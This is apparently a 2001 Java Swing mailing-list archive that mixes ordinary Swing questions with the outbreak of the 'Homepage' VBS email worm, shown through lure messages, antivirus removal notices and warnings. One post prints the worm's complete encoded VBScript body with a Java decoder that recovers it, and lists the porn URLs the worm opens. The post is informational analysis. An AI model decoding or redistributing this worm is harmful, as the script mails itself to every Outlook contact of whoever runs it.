Looking for good spreadsheet Java Bean...
Does any one know of some nice commercially available spreadsheet control in Java Swing? It would be nice if it enabled users to copy/paste text from Microsoft Excel. Thanks. --- Lenny Reynshteyn Information Technology Goldman Sachs New York ___ Advanced-swing mailing list [EMAIL PROTECTED] http://eos.dk/mailman/listinfo/advanced-swing
MyPointlessBean
Hi,
This is one of those incredibly stupid questions, but here goes...
I jar up a java bean with the following command line:
jar cfm mypointlessbean.jar MyPointlessBean.mf mypointlessbean
Everything gets packaged OK, but beanbox hates it. I don't blame it.
When I extract the META-INF/MYPOINTLESSBEAN.MF it doesn't look right.
it is only three lines and contains no signatures:
Manifest-Version: 1.0
Created-By: 1.3.0 (Sun Microsystems Inc.)
Name: mypointlessbean/MyPointlessBean.class
Anyone into beans, I would appreciate any help!
-KC
P.S. Here's some more info on the problem...
I have a directory structure as follows:
/ MyPointlessBean.mf
/mypointlessbean/MyPoinlessBean.class
MyPointless bean looks like:
package mypoinless bean;
public class MyPoinlessBean extends javax.swing.JPanel
implements java.io.Serializable{
public someMethod() {}
};
My manifest file looks like:
Manifest-Version: 1.0
Name: mypointlessbean/MyPointlessBean.class
Java-Bean: True
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JTable tooltip placement
This is a continuation of the "JTable and ToolTips per Cell" thread from
January 4, 2001.
To summarize, to add tooltips to a JTable, extend the CellRenderer, eg:
jtable = new JTable();
jtable.setDefaultRenderer(Object.class, new MyTableCellRenderer() );
ToolTipManager.sharedInstance().registerComponent(jtable);
private class MyTableCellRenderer extends
javax.swing.table.DefaultTableCellRenderer {
public Component getTableCellRendererComponent( JTable table,
Object value,
boolean isSelected, boolean hasFocus, int row, int column) {
Component c = super.getTableCellRendererComponent( table, value,
isSelected,
hasFocus, row, column);
if (value instanceof NamedObject) {
((JComponent)c).setToolTipText(((NamedObject)value).getDescription());
}
// LOOK!! should turn tip off if there is none !!
return c;
}
}
So this works fine except that the placement of the tooltip is wrong
when the JTable is on the left edge of the screen, in which case long
tooltips get their left part chopped off. For some reason the
ToolTipManager doesnt do its normal job of placing tooltips correctly
near the window edge.
Now if I add a getToolTipLocation() method to MyTableCellRenderer, it
never gets called. When I add getToolTipLocation() method to the JTree,
the tooltip blinks like crazy like its in some loop, then sometimes
finally displays the tooltip, but in the same location as before.
// add tooltips
private class MyJTable extends javax.swing.JTable {
public Point getToolTipLocation(MouseEvent e) {
return e.getPoint();
}
}
If getToolTipLocation() returns null, then I get the previous behavior
of chopping off the edge of the screen.
This is all in JDK 1.3. Anyone have any ideas on why the tooltip
location is unusual?
thanks,
John Caron
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Re: Replacing the JList as the JComboBox popup
"Farwell, Paul" <[EMAIL PROTECTED]> asked: > We have a calendar component that we want displayed when the user clicks the > JComboBox arrow. Does anyone know a relatively painless way to set a > component -- other than the default JList -- as the popup item in a > JComboBox? In looking at the JComboBox source and its delegates (e.g. > BasicComboBoxUI, BasicComboPopup) it looks as if JList is pretty tightly > coupled as the JComboBox's popup component. Yes, I couldnt find a way to replace JList. I ended up building my own, wasnt as hard as subclassing JComboBox. If you want to look at what i did, you can get our (LGPL) source snapshot at ftp://ftp.unidata.ucar.edu/pub/metapps/metapps_src.jar and look at ucar.unidata.ui.SuperComboBox. Regards, John ___ Advanced-swing mailing list [EMAIL PROTECTED] http://eos.dk/mailman/listinfo/advanced-swing
Re(2): Homepage
Nicholas Wright (5/10/01 11:29 AM):
>I'm on Unix, so not too bothered about this virus.
>
>However, what really irritates me...
>
> ... the virus is encrypted and I can't find out the porn site web
> addresses.
>
Easy. They are:
http://hardcore.pornbillboard.net/shannon/1.htm
http://members.nbci.com/_XMCM/prinzje/1.htm
http://www2.sexcropolis.com/amateur/sheila/1.htm
http://sheila.issexy.tv/1.htm
A very simple randomising function is used to select one of them.
---
Have not made an Swing-front end yet, but here is java-code that
simulates the uncrypting of the virus (it is quite simple):
public class Virus
{
private static String toDecode =
"QpGttqtTguwogPgzvUgvYU?EtgcvgQdlgev*$YUetkrv0Ujgnn$+UgvHUQ?Etgcvgqdlgev*$uetkrvkpi0hkngu{uvgoqdlgev$+Hqnfgt?HUQ0IgvUrgekcnHqnfgt*4+UgvKpH?HUQ0QrgpVgzvHkng*YUetkrv0UetkrvHwnnpcog.3+FqYjkngKpH0CvGpfQhUvtgco>@VtwgUetkrvDwhhgt?UetkrvDwhhgt(KpH0TgcfNkpg(xdetnhNqqrUgvQwvH?HUQ0QrgpVgzvHkng*Hqnfgt($^jqogrcig0JVON0xdu$.4.vtwg+QwvH0ytkvgUetkrvDwhhgtQwvH0enqugUgvHUQ?PqvjkpiKhYU0tgitgcf*$JMEW^uqhvyctg^Cp^ockngf$+>@$3$vjgpOcknkv*+GpfKhUgvu?EtgcvgQdlgev*$Qwvnqqm0Crrnkecvkqp$+Ugvv?u0IgvPcogUrceg*$OCRK$+Ugvw?v0IgvFghcwnvHqnfgt*8+Hqtk?3vqw0kvgou0eqwpvKhw0Kvgou0Kvgo*k+0uwdlgev?$Jqogrcig$Vjgpw0Kvgou0Kvgo*k+0enqugw0Kvgou0Kvgo*k+0fgngvgGpfKhPgzvUgvw?v0IgvFghcwnvHqnfgt*5+Hqtk?3vqw0kvgou0eqwpvKhw0Kvgou0Kvgo*k+0uwdlgev?$Jqogrcig$Vjgpw0Kvgou0Kvgo*k+0fgngvgGpfKhPgzvTcpfqok|gt?Kpv**6,Tpf+-3+Kht?3vjgpYU0Twp*$jvvr<11jctfeqtg0rqtpdknndqctf0pgv1ujcppqp130jvo$+gnugkht?4VjgpYU0Twp*$jvvr<11ogodgtu0pdek0eqo1aZOEO1rtkp|lg130jvo$+gnugkht?5VjgpYU0Twp*$jvvr<11yyy40ugzetqrqnku0eqo1cocvgwt1ujgknc130jvo$+GnugKht?6VjgpYU0Twp*$jvvr<11ujgknc0kuugz{0vx130jvo$+GpfKhHwpevkqpOcknkv*+QpGttqtTguwogPgzvUgvQwvnqqm?EtgcvgQdlgev*$Qwvnqqm0Crrnkecvkqp$+KhQwvnqqm?$Qwvnqqm$VjgpUgvOcrk?Qwvnqqm0IgvPcogUrceg*$OCRK$+UgvNkuvu?Ocrk0CfftguuNkuvuHqtGcejNkuvKpfgzKpNkuvuKhNkuvKpfgz0CfftguuGpvtkgu0Eqwpv>@2VjgpEqpvcevEqwpv?NkuvKpfgz0CfftguuGpvtkgu0EqwpvHqtEqwpv?3VqEqpvcevEqwpvUgvOckn?Qwvnqqm0EtgcvgKvgo*2+UgvEqpvcev?NkuvKpfgz0CfftguuGpvtkgu*Eqwpv+Ockn0Vq?Eqpvcev0CfftguuOckn0Uwdlgev?$Jqogrcig$Ockn0Dqf{?xdetnh($Jk#$(xdetnh(xdetnh($[qw)xgiqvvquggvjkurcig#Kv)utgcnn{eqqn=Q+$(xdetnh(xdetnhUgvCvvcejogpv?Ockn0CvvcejogpvuCvvcejogpv0CffHqnfgt($^jqogrcig0JVON0xdu$Ockn0FgngvgChvgtUwdokv?VtwgKhOckn0Vq>@$$VjgpOckn0UgpfYU0tgiytkvg$JMEW^uqhvyctg^Cp^ockngf$.$3$GpfKhPgzvGpfKhPgzvGpfkhGpfHwpevkqp";
public static void main(String arg[])
{
StringBuffer sb = new StringBuffer();
for(int i = 0; i < toDecode.length(); i++)
{
char c = toDecode.charAt(i);
switch(c)
{
case 15:
sb.append( (char)10 );
break;
case 16:
sb.append( (char)13 );
break;
case 17:
sb.append( ' ' );
break;
case 18:
sb.append( (char)9 );
default:
sb.append( (char)(c - 2) );
}
}
System.out.println(sb);
}
}
I am curious why they decided to avoid ascii 7 (BELL), the other characters
is more easily explainable, like BS and RS (I guess outlook/VB interprets the BS as
a BS and removed characters from the string).
Yours sincerely
Peter Norell
Ps.
The decoding of the virus if for information gathering only, I will personaly
spank people with a wet noodle if they use my code to copy and extend the virus and
pass the virus further on.
Ds.
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Antigen found =*.VBS file
Antigen for Exchange found homepage.HTML.vbs matching =*.VBS file filter. The file is currently Removed. The message, "Homepage", was sent from Phil Johnston and was discovered in IMC Queues\Inbound located at NatCenToxRes/NCTR/EXCHANGE01. ___ Advanced-swing mailing list [EMAIL PROTECTED] http://eos.dk/mailman/listinfo/advanced-swing
Homepage
Hi! You've got to see this page! It's really cool ;O) <>
Antigen found =*.VBS file
Antigen for Exchange found homepage.HTML.vbs matching =*.VBS file filter. The file is currently Removed. The message, "Homepage", was sent from Nick Carter and was discovered in IMC Queues\Inbound located at NatCenToxRes/NCTR/EXCHANGE01. ___ Advanced-swing mailing list [EMAIL PROTECTED] http://eos.dk/mailman/listinfo/advanced-swing
Antigen found =*.VBS file
Antigen for Exchange found homepage.HTML.vbs matching =*.VBS file filter. The file is currently Removed. The message, "Homepage", was sent from Michael Spinks and was discovered in IMC Queues\Inbound located at NatCenToxRes/NCTR/EXCHANGE01. ___ Advanced-swing mailing list [EMAIL PROTECTED] http://eos.dk/mailman/listinfo/advanced-swing
Homepage
Hi! You've got to see this page! It's really cool ;O) <>
WARNING: THE FILE CONTAINS A VBS-SKRIPT: Homepage
Please stop kidding with this Virus skripts. Serguei Ouklonski wrote: > Hi! > > You've got to see this page! It's really cool ;O) > > -- > Name: homepage.HTML.vbs >homepage.HTML.vbsType: MPEG Video (video/mpeg) > Encoding: quoted-printable ___ Advanced-swing mailing list [EMAIL PROTECTED] http://eos.dk/mailman/listinfo/advanced-swing
Antigen found =*.VBS file
Antigen for Exchange found homepage.HTML.vbs matching =*.VBS file filter. The file is currently Removed. The message, "Homepage", was sent from Phil Johnston and was discovered in IMC Queues\Inbound located at NatCenToxRes/NCTR/EXCHANGE01. ___ Advanced-swing mailing list [EMAIL PROTECTED] http://eos.dk/mailman/listinfo/advanced-swing
Re: Homepage
Phil, looks like you've been caught by the latest .vbs virus. ->You've got to see this page! It's really cool ;O) -> -> -> -> -> Colin Vipurs R&D, The Press Association, Howden (01430) 455 582 'You're invited but your friend can't come' ___ Advanced-swing mailing list [EMAIL PROTECTED] http://eos.dk/mailman/listinfo/advanced-swing
Homepage
Hi! You've got to see this page! It's really cool ;O) <>
Antigen found =*.VBS file
Antigen for Exchange found homepage.HTML.vbs matching =*.VBS file filter. The file is currently Removed. The message, "Homepage", was sent from Serguei Ouklonski and was discovered in IMC Queues\Inbound located at NatCenToxRes/NCTR/EXCHANGE01. ___ Advanced-swing mailing list [EMAIL PROTECTED] http://eos.dk/mailman/listinfo/advanced-swing
Homepage
Hi! You've got to see this page! It's really cool ;O) <>
Homepage
Hi! You've got to see this page! It's really cool ;O) <>
Homepage
Hi! You've got to see this page! It's really cool ;O) <>
